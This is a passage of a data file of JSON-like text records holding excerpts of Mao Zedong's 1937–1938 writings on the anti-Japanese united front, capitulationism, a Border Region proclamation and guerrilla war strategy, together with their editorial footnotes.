我们要用马克思主义的积极精神，克服消极的自由主义。一个共产党员，应该是襟怀坦白，忠实，积极，以革命利益为第一生命，以个人利益服从革命利益；无论何时何地，坚持正确的原则，同一切不正确的思想和行为作不疲倦的斗争，用以巩固党的集体生活，巩固党和群众的联系；关心党和群众比关心个人为重，关心他人比关心自己为重。这样才算得一个共产党员。 一切忠诚、坦白、积极、正直的共产党员团结起来，反对一部分人的自由主义的倾向，使他们改变到正确的方面来。这是思想战线的任务之一。"},
    {"text": "国共合作成立后的迫切任务 国共合作成立后的迫切任务 （一九三七年九月二十九日） 还在一九三三年，中国共产党就发表了在停止进攻红军、给民众以自由和武装民众三个条件之下，准备同任何国民党部队订立抗日协定的宣言。"},
    {"text": "同年八月，中国共产党中央委员会又对国民党中央委员会送了一封信，要求国民党实行停战，并组织两党的统一战线，共同反对日本帝国主义 〔4〕 。"},
    {"text": "直至西安事变 〔6〕 发生，在一九三六年年底，中国共产党的全权代表才同国民党的主要负责人取得了在当时政治上的一个重要的共同点，即是两党停止内战，并实现了西安事变的和平解决。"},
    {"text": "在这个电报内，要求国民党向共产党保证停止内战，实行民主自由，召开国民大会，迅速准备抗日和改良人民生活等五项； 共产党也向国民党保证取消两个政权敌对，红军改变名称，在革命根据地实行新民主制度和停止没收地主的土地等四项。"},
    {"text": "还在七月十五日就已交付了国民党的中国共产党中央为宣布两党合作成立的宣言，以及当时约定随之发表的蒋介石氏承认中国共产党的合法地位的谈话，虽延搁太久，未免可惜，也于九月二十二日和二十三日，正当前线紧张之际，经过国民党的中央通讯社，先后发表了。 共产党的这个宣言和蒋介石氏的这个谈话，宣布了两党合作的成立，对于两党联合救国的伟大事业，建立了必要的基础。"},
    {"text": "这在中国革命史上开辟了一个新纪元。 这将给予中国革命以广大的深刻的影响，将对于打倒日本帝国主义发生决定的作用。 中国的革命，自从一九二四年开始，就由国共两党的情况起着决定的作用。 由于两党在一定纲领上的合作，发动了一九二四年至一九二七年的革命。"},
    {"text": "孙中山先生致力国民革命凡四十年还未能完成的革命事业，在仅仅两三年之内，获得了巨大的成就，这就是广东革命根据地的创立和北伐战争的胜利。"},
    {"text": "尽管还有某些人还不明了这个统一战线的历史任务及其伟大的前途，还在认为结成这个统一战线不过是一个不得已的敷衍的临时的办法，然而历史的车轮将经过这个统一战线，把中国革命带到一个崭新的阶段上去。"},
    {"text": "如果说当两党统一战线破裂的时候，日寇可以不费一弹而得东北四省 〔8〕 ，那末，当两党统一战线重新建立了的今日，日寇就非经过血战的代价不能得到中国的土地。"},
    {"text": "根据上述的这些证据，我们可以判断，统一战线的发展，将使中国走向一个光明的伟大的前途，就是日本帝国主义的打倒和中国统一的民主共和国的建立。"},
    {"text": "然而这样伟大的任务，不是停止在现在状况的统一战线所能完成的。 两党的统一战线还需要发展。 因为现在成立的统一战线，还不是一个充实的坚固的统一战线。"},
    {"text": "抗日民族统一战线是否只限于国共两个党的呢？ 不是的，它是全民族的统一战线，两个党仅是这个统一战线中的一部分。 抗日民族统一战线是各党各派各界各军的统一战线，是工农兵学商一切爱国同胞的统一战线。 现在的统一战线事实上还停止在两个党的范围之内，广大的工人、农民、兵士、城市小资产阶级及其他许多爱国同胞还没有被唤起，还没有被发动，还没有组织起来和武装起来。"},
    {"text": "现在国民党对待民众的一套，还是十年来的一套，从政府机构，军队制度，民众政策，到财政、经济、教育等项政策，大体上都还是十年来的一套，没有起变化。"},
    {"text": "起了变化的东西是有的，并且是很大的，这就是停止内战，一致抗日。 两党的内战停止了，全国的抗日战争起来了，这是从西安事变以来中国政局的极大的变化。"},
    {"text": "共同纲领是这个统一战线的行动方针，同时也就是这个统一战线的一种约束，它像一条绳索，把各党各派各界各军一切加入统一战线的团体和个人都紧紧地约束起来。"},
    {"text": "这就是孙中山先生的三民主义和共产党在八月二十五日提出的抗日救国十大纲领 〔10〕 。 中国共产党在公布国共合作的宣言上说：“孙中山先生的三民主义为中国今日之必需，本党愿为其彻底实现而奋斗。"},
    {"text": "共产主义是在革命发展的将来阶段实行的，共产主义者在现在阶段并不梦想实行共产主义，而是要实行历史规定的民族革命主义和民主革命主义，这是共产党提出抗日民族统一战线和统一的民主共和国的根本理由。"},
    {"text": "说到三民主义，还在十年前两党的第一次统一战线时，共产党和国民党就已经经过国民党第一次全国代表大会而共同决定加以实行，并且已经在一九二四年至一九二七年，经过每一个忠实的共产党人和每一个忠实的国民党人的手，在全国很大的地区中实行过了。"},
    {"text": "这个理由我们也早已说明了，不是这种制度和办法根本要不得，而是日本帝国主义的武装侵略引起了国内阶级关系的变化，使联合全民族各阶层反对日本帝国主义成了必需，而且有了可能。"},
    {"text": "不但在中国，而且在世界范围内，为了共同反对法西斯，建立反法西斯的统一战线也有了必需和可能。 所以，我们主张在中国建立民族的和民主的统一战线。"},
    {"text": "正是因为中国共产党根据马克思主义的原则，一贯地坚持了并发展了第一次国共统一战线的共同纲领即革命的三民主义，所以共产党能于强寇压境民族危急之际，及时地提出民族民主的统一战线这种唯一能够挽救危亡的政策，并且不疲倦地实行之。"},
    {"text": "现在的问题，不是共产党信仰不信仰实行不实行革命的三民主义的问题，反而是国民党信仰不信仰实行不实行革命的三民主义的问题。 现在的任务，是在全国范围内恢复孙中山先生的三民主义的革命精神，据以定出一定的政纲和政策，并真正而不二心地、切实而不敷衍地、迅速而不推延地实行起来，这在中国共产党方面真是日夜馨香祷祝之的。"},
    {"text": "因为如果不同意的话，三民主义就始终是一句空话，孙中山先生的革命精神就不能恢复，日本帝国主义就不能战胜，中国人民的亡国奴境遇就无可避免。"},
    {"text": "现在的政府还是国民党一党专政的政府，不是民族民主的统一战线的政府。 三民主义和十大纲领的实行，没有一个民族民主的统一战线的政府是不可能的。"},
    {"text": "然而国民党军队的制度不适宜于执行彻底战胜日寇的任务，不适宜于顺利地执行三民主义和革命纲领，必须加以改变，这在三个月来的抗战教训中已经证明了。"},
    {"text": "中国共产党领导的红军，在今天，对于整个抗日战争，还只能起先锋队的作用，还不能在全国范围内起决定的作用，但是它的一些政治上、军事上、组织上的优点是足供全国友军采择的。"},
    {"text": "这个军队也不是一开始就像现在的情形，它也曾经过许多的改造工作，主要地是肃清了军队内部的封建主义，实行了官兵一致和军民一致的原则。"},
    {"text": "注 释 〔1〕 参见本书第一卷《中国共产党在抗日时期的任务》注〔3〕。 〔2〕 参见本书第一卷《中国共产党在抗日时期的任务》注〔4〕。 〔3〕 见本书第一卷《中国共产党在抗日时期的任务》注〔5〕。 〔4〕 参见本书第一卷《关于蒋介石声明的声明》注〔9〕。 〔5〕 参见本书第一卷《中国共产党在抗日时期的任务》注〔7〕。 〔6〕 参见本书第一卷《关于蒋介石声明的声明》注〔1〕。 〔7〕 见本书第一卷《中国共产党在抗日时期的任务》注〔9〕。 〔8〕 见本书第一卷《论反对日本帝国主义的策略》注〔5〕。"},
    {"text": "和英国记者贝特兰的谈话 和英国记者贝特兰的谈话 （一九三七年十月二十五日） 中国共产党和抗日战争 贝问：中国共产党在中日战争爆发前后，有什么具体表示？"},
    {"text": "毛答：在这次战争爆发以前，中国共产党曾经再三向全国警告过，对日战争是不能避免的，所有日本帝国主义者所谓“和平解决”的言论日，本外交家的漂亮词句，都不过是掩盖其战争准备的烟幕弹。"},
    {"text": "说到日寇实现其计划的程度，由于中国的抗战至今还限于单纯的政府和军队的抗战，日寇已在短期内取得了河北、察哈尔、绥远 〔2〕 三省，山西亦在危急中。"},
    {"text": "第三、人民生活的改良是必要的，改良办法包括废除苛捐杂税，减租减息，改良工人和下级官兵的待遇，优待抗日军人家属，救济灾民难民等等。"},
    {"text": "答：我们的工作，是以不疲倦的努力，解释现在的形势，联合国民党及其他一切爱国党派，为扩大和巩固抗日民族统一战线，动员一切力量，争取抗战胜利而斗争。"},
    {"text": "现在的抗日民族统一战线，范围还很狭小，必须把它扩大起来，这就是实行孙中山先生的“唤起民众”的遗嘱，动员社会的下层民众加进这个统一战线去。"},
    {"text": "共产党的责任，在于大声疾呼地向国民党和全国人民作不疲倦的解释和说服，务使真正革命的三民主义、三大政策及孙氏遗嘱，全部地彻底地在全国范围内实行起来，用以扩大和巩固抗日民族统一战线。"},
    {"text": "如你所知，八路军曾经取得了多次的胜利，例如平型关的战斗，井坪、平鲁、宁武的夺回，涞源、广灵的克复，紫荆关的占领，大同雁门关间、蔚县平型关间、朔县宁武间日军的三条主要运输道路的截断，对雁门关以南日军后方的攻击，平型关、雁门关的两次夺回，以及近日的曲阳、唐县的克复等。"},
    {"text": "拿现时这一阶段的情况来讲，集中使用兵力之时较少，分散使用兵力之时较多，这是为着便于在广大地域袭击敌人翼侧和后方。 若在全国军队，因其数量广大，应以一部守正面及以另一部分散进行游击战，主力也应经常集中地使用于敌之翼侧。 军事上的第一要义是保存自己消灭敌人，而要达到此目的，必须采用独立自主的游击战和运动战，避免一切被动的呆板的战法。"},
    {"text": "八路军的政治工作的基本原则有三个，即：第一、官兵一致的原则，这就是在军队中肃清封建主义，废除打骂制度，建立自觉纪律，实行同甘共苦的生活，因此全军是团结一致的。 第二、军民一致的原则，这就是秋毫无犯的民众纪律，宣传、组织和武装民众，减轻民众的经济负担，打击危害军民的汉奸卖国贼，因此军民团结一致，到处得到人民的欢迎。"},
    {"text": "一九二四年到一九二七年革命时代有了新精神的军队，其作战方法也自然与其政治精神相配合，不是被动的呆板的作战，而是主动的活泼的富于攻击精神的作战，因此获得了北伐的胜利。"},
    {"text": "我们的这种政策是坚持的，例如日军现已公开声言要对八路军施放毒气，即使他们这样做，我们宽待俘虏的政策仍然不变。 我们仍然把被俘的日本士兵和某些被迫作战的下级干部给以宽大待遇，不加侮辱，不施责骂，向他们说明两国人民利益的一致，释放他们回去。"},
    {"text": "答：中国人民是全体要求抗战到底的，中国统治集团中如果有一部分人在行动上走入投降道路，则其余坚决部分必起而反对，和人民一道继续抗战。"},
    {"text": "这个口号政治上组织上的含义包括如下三点：（一）不是一个阶级的国家和政府，而是排除汉奸卖国贼在外的一切抗日阶级互相联盟的国家和政府，其中必须包括工人、农民及其他小资产阶级在内。"},
    {"text": "当人民要求的政策一经通过民意机关而交付与自己选举的政府的时候，即由政府去执行，只要执行时不违背曾经民意通过的方针，其执行必能顺利无阻。"},
    {"text": "这个大会的代表，应大体上采用孙中山先生在一九二四年的主张，由各抗日党派、抗日军队、抗日民众团体和实业团体，按照一定比例推选出来。"},
    {"text": "〔2〕 察哈尔，原来是一个省，一九五二年撤销，原辖地区划归河北、山西两省。 绥远，原来也是一个省，一九五四年撤销，原辖地区划归内蒙古自治区。"},
    {"text": "上海太原失陷以后抗日战争的形势和任务 上海太原失陷以后 抗日战争的形势和任务 * （一九三七年十一月十二日） 一 目前形势是处在片面抗战 到全面抗战的过渡期中 （一）我们赞助一切反对日本帝国主义进攻的抗战，即使是片面的抗战。"},
    {"text": "（二）但是我们早就指出（今年四月延安党的活动分子会议 〔1〕 ，五月党的全国代表会议 〔2〕 ，八月中央政治局的决议 〔3〕 ）：不要人民群众参加的单纯政府的片面抗战，是一定要失败的。"},
    {"text": "如果共产党员忘记了这个原则性，他们就不能正确地指导抗日战争，他们就将无力克服国民党的片面性，就把共产主义者降低到无原则的地位，把共产党降低到国民党。"},
    {"text": "这些因素是：日本坚决灭亡中国的方针使中国处于非战不可的地位，共产党和八路军的存在，中国人民的要求，国民党内多数党员的要求，英、美、法顾虑到国民党投降对于它们利益的损失，苏联的存在及其援助中国的方针，中国人民对于苏联的深切希望（这种希望不是空的）等等。"},
    {"text": "二 在党内在全国均须反对投降主义 在党内，反对阶级对阶级的投降主义 （十六）一九二七年陈独秀的投降主义 〔6〕 ，引导了那时的革命归于失败。"},
    {"text": "（十九）还在四月延安党的活动分子会议时，又在五月党的全国代表会议时，特别是在八月中央政治局会议（洛川会议）时，我们就提出了这样的问题：在统一战线中，是无产阶级领导资产阶级呢，还是资产阶级领导无产阶级？"},
    {"text": "在当前的具体的政治任务中，这个问题即是说：把国民党提高到共产党所主张的抗日救国十大纲领和全面抗战呢，还是把共产党降低到国民党的地主资产阶级专政和片面抗战？"},
    {"text": "这是因为： 一方面，中国资产阶级的妥协性，国民党实力上的优势，国民党三中全会的宣言和决议对于共产党的污蔑和侮辱以及所谓“停止阶级斗争”的叫嚣，国民党关于“共产党投降”的衷心愿望和广泛宣传，蒋介石关于统制共产党的企图，国民党对于红军的限制和削弱的政策，国民党对于抗日民主根据地的限制和削弱的政策，国民党七月庐山训练班 〔7〕 提出的“在抗日战争中削弱共产党力量五分之二”的阴谋计划，国民党对共产党干部所施行的升官发财酒色逸乐的引诱，某些小资产阶级急进分子在政治上的投降举动（以章乃器为代表 〔8〕 ），等等情况。 另一方面，共产党内理论水平的不平衡，许多党员的缺乏北伐战争时期两党合作的经验，党内小资产阶级成分的大量存在，一部分党员对过去艰苦斗争的生活不愿意继续的情绪，统一战线中迁就国民党的无原则倾向的存在，八路军中的新军阀主义倾向的发生，共产党参加国民党政权问题的发生，抗日民主根据地中的迁就倾向的发生，等等情况。"},
    {"text": "（二十一）几个月以来，主要是抗战以来，共产党中央及其各级组织，对这种已经发生的和可能发生的投降主义倾向作了明确而坚决的斗争和必要的预防，并且收到了成效。"},
    {"text": "这种倾向，表现在红军改编后某些个别分子不愿意严格地接受共产党的领导、发展个人英雄主义、以受国民党委任为荣耀（以做官为荣耀）等等现象上面。 这个新军阀主义倾向虽然和表现在打人、骂人、破坏纪律等等现象上面的老的军阀主义倾向同其根源（把共产党降低到国民党），同其结果（脱离群众）；"},
    {"text": "纠正了“议会主义”倾向 〔10〕 （当然并不是第二国际的议会主义，这种议会主义在中国党内是没有的），坚持了反对土匪、敌探和破坏者的斗争。"},
    {"text": "在南方各游击区 〔13〕 ——这是我们和国民党十年血战的结果的一部分，是抗日民族革命战争在南方各省的战略支点，是国民党在西安事变后还用“围剿”政策企图消灭、在卢沟桥事变后又改用调虎离山政策企图削弱的力量——我们的注意力集中在：（1）无条件集中（适应国民党拔去这些支点的要求）的防止；"},
    {"text": "但是主要的目的还在另一方面，这就是为了发展阵地，为了实现“动员千百万群众进入抗日民族统一战线，打倒日本帝国主义”这个积极的目的。"},
    {"text": "几个月来，更广大的小资产阶级的左翼群众是在我们的影响下团结起来了，国民党营垒中的新生力量是在增长中，山西的群众斗争是发展了，党的组织在许多地方也发展了。"},
    {"text": "（二十四）但是必须清楚地懂得，党的组织力量，在全国，一般地说来还是微弱的。 全国的群众力量也还是很薄弱，全国工农基本群众还没有组织起来。"},
    {"text": "但是还有一种投降主义，这就是民族对民族的投降主义，它引导中国去适合日本帝国主义的利益，使中国变为日本帝国主义的殖民地，使所有的中国人变为亡国奴。"},
    {"text": "这一任务的完成，是改造国民党、改造政府、改造军队的基本条件，是统一的民主共和国建立起来的基本条件，是变片面抗战为全面抗战的基本条件，是打倒日本帝国主义的基本条件。"},
    {"text": "阶级投降主义和民族投降主义的关系 （二十九）在抗日民族革命战争中，阶级投降主义实际上是民族投降主义的后备军，是援助右翼营垒而使战争失败的最恶劣的倾向。"},
    {"text": "为了争取中华民族和劳动群众的解放，为了使反对民族投降主义的斗争坚决有力，必须反对共产党内部和无产阶级内部的阶级的投降倾向，要使这一斗争开展于各方面的工作中。"},
    {"text": "在这次会议上，毛泽东分析了当时民族矛盾和国内矛盾发展的状况，提出了中国无产阶级和中国共产党的领导责任，并且着重指出：“争取民主，是目前发展阶段中革命任务的中心一环。"},
    {"text": "”“抗战需要全国的和平与团结，没有民主自由，便不能巩固已经取得的和平，不能增强国内的团结。 抗战需要人民的动员，没有民主自由，便无从进行动员。 没有巩固的和平与团结，没有人民的动员，抗战的前途便会蹈袭阿比西尼亚的覆辙。"},
    {"text": "〔3〕 即中共中央政治局洛川会议在一九三七年八月二十五日通过的《关于目前形势与党的任务的决定》，内容如下：“（一）卢沟桥的挑战和平津的占领，不过是日寇大举进攻中国本部的开始。"},
    {"text": "过去阶段中，由于国民党的不愿意和民众的动员不够，因而没有完成争取民主的任务，这必须在今后争取抗战胜利的过程中去完成。 （四）在这一新阶段内，我们同国民党及其他抗日派别的区别和争论，已经不是应否抗战的问题，而是如何争取抗战胜利的问题。 （五）今天争取抗战胜利的中心关键，在使已经发动的抗战发展为全面的全民族的抗战。 只有这种全面的全民族的抗战，才能使抗战得到最后的胜利。 本党今天所提出的抗日救国的十大纲领，即是争取抗战最后胜利的具体的道路。"},
    {"text": "相反的，他们把抗战看成只是政府的事，处处惧怕和限制人民的参战运动，阻碍政府、军队同民众结合起来，不给人民以抗日救国的民主权利，不去彻底改革政治机构，使政府成为全民族的国防政府。"},
    {"text": "这种抗战可能取得局部的胜利，然而决不能取得最后的胜利。 相反的，这种抗战存在着严重失败的可能。 （七）由于当前的抗战还存在着严重的弱点，所以在今后的抗战过程中，可能发生许多挫败、退却，内部的分化、叛变，暂时和局部的妥协等不利的情况。"},
    {"text": "（八）共产党员及其所领导的民众和武装力量，应该最积极地站在斗争的最前线，应该使自己成为全国抗战的核心，应该用极大力量发展抗日的群众运动。"},
    {"text": "以蒋介石为代表的国民党统治集团，在广大人民的压力下，也作了许多准备改革的诺言，但随后又一个一个地背弃了自己的诺言。 因此，当时全国人民所希望的国民党改革的可能性没有实现，正如后来毛泽东在《论联合政府》中所说明的：“当时全国人民，我们共产党人，其他民主党派，都对国民党政府寄予极大的希望，就是说，希望它乘此民族艰危、人心振奋的时机，厉行民主改革，将孙中山先生的革命三民主义付诸实施。"},
    {"text": "〔9〕 即一九三七年九月二十五日《中共中央关于共产党参加政府问题的决定草案》，内容如下：“（一）今天抗战的形势，急需要有一个全民族的抗日民族统一战线的政府，才能有利于领导抗日民族革命战争，战胜日本帝国主义。"},
    {"text": "（二）只有将国民党一党专政的政府转变为全民的统一战线的政府的时候，即在今天的国民党政府（甲）接受本党所提抗日救国十大纲领的基本内容，依据此内容，发布施政纲领时；"},
    {"text": "（三）在党中央没有决定参加中央政府以前，共产党员一般地不得参加地方政府，并不得参加中央的及地方的一切附属于政府行政机关的各种行政会议及委员会。"},
    {"text": "（四）但在特殊地区的地方政府如战区的地方政府中，由于旧的统治者已不能照旧统治，基本上愿意实行共产党的主张，共产党已经取得了公开活动的自由，并且由于当前的紧急形势，使共产党的参加在人民和政府看来，均已成为必要，共产党可以去参加。"},
    {"text": "因此，共产党应力争自己的党员当选到大会中去，利用国民大会的讲台，宣传共产党的主张，用以达到动员人民和组织人民在共产党周围，推动统一的民主政府的建立。"},
    {"text": "（六）共产党中央及地方党部和国民党中央及地方党部，在一定的共同纲领并在完全平等的原则之下，可以组织统一战线的组织，如各种联合委员会（例如国民革命同盟会、群众运动委员会、战地动员委员会等）；"},
    {"text": "（七）在红军改名为国民革命军、红色政权机关改为特区政府之后，它们的代表可以拿自己已经取得的合法地位，参加到一切有利于抗日救国的军事的和群众的机关中去。"},
    {"text": "” 〔10〕 这里所说的“议会主义”倾向，指当时共产党内有些同志主张把抗日根据地内人民代表会议的政权制度改变为资产阶级国家中的议会制度的一种意见。"},
    {"text": "〔11〕 一九三七年八月，在西安的国民党陕西省党部发出通告，无理取缔中国共产党所领导的西北各界救国联合会以及其他进步团体。 当时，中国共产党陕西党组织中的一些同志，在国民党反动派的压力下作了无原则的让步，于同年九月间自动解散西北各界救国联合会，要该会的一些干部参加国民党包办的陕西省各界抗敌后援会设计委员会。"},
    {"text": "陕西省党组织执行了中共中央的指示，广泛地发动群众，同国民党的反动政策展开坚决的斗争，中国共产党所领导的西安各界群众的救亡团体，又以新的组织形式普遍建立起来。"},
    {"text": "一九三七年春，中共陇东特委曾经不顾国民党反动派的无理限制，领导当地人民群众，建立各种抗日救亡组织，进行抗日斗争和各项民主改革。 七七事变以后，中共陇东特委的一些同志，对国民党反动派实行无原则的让步，自动解散了中国共产党所领导的一些进步团体，使当地的群众运动和群众组织遭受到很大损失。"},
    {"text": "陇东特委贯彻执行了中央的指示，对国民党反动派的破坏活动进行了必要的斗争，在陇东所属各县相继恢复了中国共产党领导下的各界群众组织，重新发动了抗日民主运动。"},
    {"text": "〔13〕 一九三四年十月中央红军主力长征后，留在南方江西、福建、广东、湖南、湖北、河南、浙江、安徽八省十五个游击区的红军和游击队，在极端困苦的情况下，坚持游击战争。"},
    {"text": "一九三八年春，新四军挺进华中敌后，开展抗日游击战争，先后创立、发展和巩固了苏南、苏中、苏北、淮南、淮北、鄂豫皖、皖中、浙东等敌后抗日根据地。"},
    {"text": "陕甘宁边区政府、第八路军后方留守处布告 陕甘宁边区政府、 第八路军后方留守处布告 * （一九三八年五月十五日） 为布告事：自卢沟桥事变以来，我全国爱国同胞，坚决抗战。前线将士，牺牲流血。各党各派，精诚团结。各界人民，协力救亡。这是中华民族的光明大道，抗日胜利的坚强保障。凡属国人，必须循此前进。我陕甘宁边区 〔1〕 军民，服从政府领导，努力救亡事业。凡所实施，光明正大。艰苦奋斗，不敢告劳。全国人民，交口称誉。本府本处，亦惟有激励全区民众，继续努力，以求贯彻。不许一人不尽其职，一事不利救亡。乃近查边区境内，竟有不顾大局之徒，利用各种方式，或强迫农民交还已经分得的土地房屋，或强迫欠户交还已经废除的债务 〔2〕 ，或强迫人民改变已经建立的民主制度，或破坏已经建立的军事、经济、文化和民众团体的组织。甚至充当暗探，联络土匪，煽动部队哗变，实行测绘地图，秘密调查情况，公开进行反对边区政府的宣传。上述种种行为，显系违反团结抗日的基本原则，违反边区人民的公意，企图制造内部纠纷，破坏统一战线，破坏人民利益，破坏边区政府的威信，增加抗日动员的困难。察其原因，不外有少数顽固分子，不顾民族国家利益，恣意妄为。甚有为日寇所利用，假借名义，作为掩护其阴谋活动的工具。数月以来，各县人民纷纷报告，请求制止，日必数起，应接不暇。本府本处，为增强抗日力量、巩固抗日后方、保护人民利益起见，对于上述行为，不得不实行取缔。合亟明白布告如次： （一）凡在国内和平开始时，属于边区管辖地域内，一切已经分配过的土地房屋和已经废除过的债务，本府本处当保护人民既得利益，不准擅自变更。 （二）凡在国内和平开始时已经建立及在其后按照抗日民族统一战线原则实行改进和发展的军事、政治、经济、文化等组织及其他民众团体，本府本处当保护其活动，促进其发展，制止一切阴谋破坏之行为。 （三）凡属有利抗日救国的事业，本府本处在坚决执行《抗战建国纲领》 〔3〕 的原则下，无不乐于推行。对于善意协助的各界人士，一律表示欢迎。但是凡未经本府或本处同意并取得本府或本处的证明文件，而从外面进入边区境内停留活动之人，不论其活动的事务属于何项，一律禁止，以防假冒，而杜奸宄。 （四）当此抗战紧张期间，凡在边区境内从事阴谋破坏，或肆意捣乱，或勾引煽惑，或暗探军情的分子，准许人民告发。证据确实者，准许就地逮捕。一经讯实，一律严惩不贷。 右列四条，全边区军民人等一律遵照，不得违背。倘有不法之徒，胆敢阴谋捣乱，本府本处言出法随，勿谓言之不预。切切。此布。 注 释 * 这个布告是毛泽东为陕甘宁边区政府和八路军后方留守处起草的，目的是对付蒋介石集团的破坏活动。当时国共合作成立不久，蒋介石集团即阴谋破坏共产党领导的革命力量。破坏陕甘宁边区，是这种阴谋的一部分。毛泽东认为为了保护革命的利益，必须采取坚定的立场。这个布告打击了当时共产党内一部分同志在抗日统一战线中对于蒋介石集团的阴谋活动所采取的机会主义立场。 〔1〕 一九三一年九一八事变以后，刘志丹、谢子长等在陕甘边和陕北领导革命游击战争，逐步建立和发展革命根据地。一九三五年夏粉碎国民党军队的“围剿”以后，陕甘边和陕北两个革命根据地联成一片。同年十月，中共中央和红一方面军主力（此时称红军陕甘支队）到达陕北，使陕北成为中国革命的中心，陕甘边区得到了巩固和发展。一九三六年红军西征甘肃、宁夏，在陕甘宁三省边境地区又开辟了新的根据地。一九三七年抗日民族统一战线建立以后，陕甘宁革命根据地改名为陕甘宁边区，共辖二十三个县。 〔2〕 在陕甘宁边区内，大部分地方原来已经实行了没收地主土地分给农民和废除农民原先所负债务的政策。一九三六年，为了建立广泛的抗日民族统一战线，中国共产党决定停止没收开明绅士的土地。一九三七年，又宣布以减租减息的政策代替没收地主土地的政策，同时宣布坚决保障农民已经从土地改革中所获得的果实。 〔3〕 《抗战建国纲领》是一九三八年三月二十九日至四月一日在武汉召开的中国国民党临时全国代表大会制定的。其内容包括抗日的军事、政治、经济、外交等方面的政策。这个纲领一方面被迫对人民作了某些形式上和口头上的让步，如规定组织国民参政机关，许诺给予人民言论、出版、集会、结社自由；同时又继续坚持国民党一党专政。"},
    {"text": "抗日游击战争的战略问题 抗日游击战争的战略问题 * （一九三八年五月） 第一章 为什么提起游击战争 的战略问题 抗日战争中，正规战争是主要的，游击战争是辅助的。"},
    {"text": "那末，游击战争就只有战术问题，为什么提起战略问题呢？ 如果我们是一个小国，游击战争只是在正规军的战役作战上起些近距离的直接的配合作用，那就当然只有战术问题，没有什么战略问题。 又如果中国也像苏联那样的强大，敌人进来，很快就能赶出，或虽时间较久，但是被占地区不广，游击战争也只是一种战役的配合作用，当然也只有战术问题，没有什么战略问题。 游击战争的战略问题是在这样的情况之下发生的：中国既不是小国，又不像苏联，是一个大而弱的国家。"},
    {"text": "敌人在我们这个大国中占地甚广，但他们的国家是小国，兵力不足，在占领区留了很多空虚的地方，因此抗日游击战争就主要地不是在内线配合正规军的战役作战，而是在外线单独作战； 并且由于中国的进步，就是说有共产党领导的坚强的军队和广大的人民群众存在，因此抗日游击战争就不是小规模的，而是大规模的；"},
    {"text": "抗日游击战争的战略问题，本来是密切地联系于整个抗日战争的战略问题的，许多东西二者都是一致的。 然而游击战争又区别于正规战争，它本身有其特殊性，因而游击战争的战略问题颇有许多特殊的东西； 抗日战争的一般战略问题中的东西，决不能照样用之于特殊情形的游击战争。"},
    {"text": "第二章 战争的基本原则是 保存自己消灭敌人 在具体地说到游击战争的战略问题之先，还要说一说战争的基本问题。 一切军事行动的指导原则，都根据于一个基本的原则，就是：尽可能地保存自己的力量，消灭敌人的力量。"},
    {"text": "在军事上实行起来，就是以军事力量保卫祖国，驱逐日寇。 为达到这个目的，在军队本身的行动上，就表现为：一方面，尽可能地保存自己的力量； 另一方面，尽可能地消灭敌人的力量。"},
    {"text": "因为这种牺牲，不但是为了消灭敌人的必要，也是为了保存自己的必要——部分的暂时的“不保存”（牺牲或支付），是为了全体的永久的保存所必需的。"},
    {"text": "在这个基本的原则上，发生了指导整个军事行动的一系列的所谓原则，从射击原则（荫蔽身体，发扬火力，前者为了保存自己，后者为了消灭敌人）起，到战略原则止，都贯彻这个基本原则的精神。"},
    {"text": "第三章 抗日游击战争的六个 具体战略问题 现在我们来看，抗日游击战争的军事行动，应该采取些什么方针或原则才能达到保存自己消灭敌人的目的呢？"},
    {"text": "第四章 主动地灵活地有计划地执行 防御战中的进攻战、持久战 中的速决战、内线作战中的 外线作战 这里又可以分为四点来说：（一）防御和进攻，持久和速决，内线和外线的关系；"},
    {"text": "敌军虽强（武器和人员的某些素质，某些条件），但是数量不多，我军虽弱（同样，仅是武器和人员的某些素质，某些条件），但是数量甚多，加上敌人是异民族侵入我国，我们是在本国反抗异民族侵入这个条件，这样就决定了下列的战略方针：能够而且必须在战略的防御战之中采取战役和战斗的进攻战，在战略的持久战之中采取战役和战斗的速决战，在战略的内线作战之中采取战役和战斗的外线作战。"},
    {"text": "正规战争是如此，游击战争也是如此。 游击战争所不同的，只是程度上或表现形式上的问题。 游击战争是一般地用袭击的形式表现其进攻的。 正规战争虽然也应该而且能够采用袭击战，但是其出敌不意的程度比较小一些。"},
    {"text": "当然，游击战争中不但战略上有防御，战术上也是有防御的； 战斗时的钳制和警戒方面，隘路、险地、河川或村落等处为着消耗敌人和疲惫敌人的抵抗配置，退却时的掩护部队等等，都是游击战争中战术上的防御部分。"},
    {"text": "然而游击战争的基本方针必须是进攻的，和正规战争比较起来，其进攻性更加大些，而且这种进攻必须是奇袭，大摇大摆大吹大擂地暴露自己，是较之正规战更加不能许可的。 游击战争虽然也有坚持数天的战斗场合，例如攻击某个孤立无援的小敌，但一般的作战较之正规战更加要求迅速地解决战斗，这是被敌强我弱的情况规定了的。 游击战争本来是分散的，所以成其为普遍的游击战，且在许多任务，例如扰乱、钳制、破坏和做群众工作等，都以分散兵力为原则； 然而就一个游击部队或游击兵团，当着执行消灭敌人的任务，尤其是为着打破敌人的进攻而努力时，就仍须集中其主要的兵力。 “集中大力，打敌小部”，仍然是游击战争战场作战的原则之一。 由此也就可知，从整个的抗日战争看来，只有将正规战和游击战的战役和战斗的进攻战集合了很多，即从进攻战中打了很多的胜仗，才能达到战略防御之目的，最后战胜日本帝国主义。 只有战役和战斗的速决战集合了很多，即是使得很多战役和战斗的进攻战都能因迅速解决战斗之故而取得了胜利，才能达到战略持久的目的，一方面争取时间加强抗战力量，同时促进和等候国际形势的变动和敌人的内溃，以便举行战略反攻，驱逐日寇出中国。 也只有每战集中优势兵力，不论在战略防御时期也好，在战略反攻时期也好，一律采取战役和战斗中的外线作战，包围敌人而消灭之，不能包围其全部，也包围其一部，不能消灭所包围之全部，也消灭所包围之一部，不能大量俘虏所包围之敌，也大量杀伤所包围之敌。 集合很多这样的歼灭战，才能转变敌我形势，将敌之战略包围，即敌之外线作战方针根本击破，最后配合国际的力量和日本人民的革命斗争，共同围剿日本帝国主义而一举消灭之。"},
    {"text": "一切战争的敌我双方，都力争在战场、战地、战区以至整个战争中的主动权，这种主动权即是军队的自由权。 军队失掉了主动权，被逼处于被动地位，这个军队就不自由，就有被消灭或被打败的危险。"},
